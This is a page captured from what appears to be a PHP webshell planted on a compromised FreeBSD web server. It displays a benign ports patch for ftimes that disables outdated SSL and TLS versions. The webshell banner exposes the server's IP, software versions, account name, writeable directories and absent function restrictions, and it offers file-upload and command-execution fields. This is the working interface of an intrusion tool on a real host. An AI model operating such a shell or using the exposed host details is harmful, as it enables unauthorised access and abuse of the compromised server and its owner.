403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/ftimes/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/ftimes/files/patch-src__ssl.c
diff -urN ftimes-3.11.0.old/src/ssl.c ftimes-3.11.0.new/src/ssl.c
--- src/ssl.c	2014-07-18 02:40:44.000000000 -0400
+++ src/ssl.c	2016-01-13 17:18:29.073028573 -0500
@@ -251,7 +251,7 @@
    *
    *********************************************************************
    */
-  psProperties->psslCTX = SSL_CTX_new(SSLv3_client_method());
+  psProperties->psslCTX = SSL_CTX_new(SSLv23_client_method());
   if (psProperties->psslCTX == NULL)
   {
     ERR_error_string(ERR_get_error(), acLocalError);
@@ -262,6 +262,33 @@
   /*-
    *********************************************************************
    *
+   * Disable protocol versions that are no longer safe to use.
+   *
+   *********************************************************************
+   */
+  SSL_CTX_set_options
+  (
+    psProperties->psslCTX,
+    (
+        0
+#ifdef  SSL_OP_NO_SSLv2
+      | SSL_OP_NO_SSLv2
+#endif
+#ifdef  SSL_OP_NO_SSLv3
+      | SSL_OP_NO_SSLv3
+#endif
+#ifdef  SSL_OP_NO_TLSv1
+      | SSL_OP_NO_TLSv1
+#endif
+#ifdef  SSL_OP_NO_TLSv1_1
+      | SSL_OP_NO_TLSv1_1
+#endif
+    )
+  );
+
+  /*-
+   *********************************************************************
+   *
    * Setup SSL certificate verification. Load the bundled certificate
    * authorities file. A common name (CN) and a positive chain length
    * must be specified to activate PEER verification. If you want to

Youez - 2016 - github.com/yon3zu
LinuXploit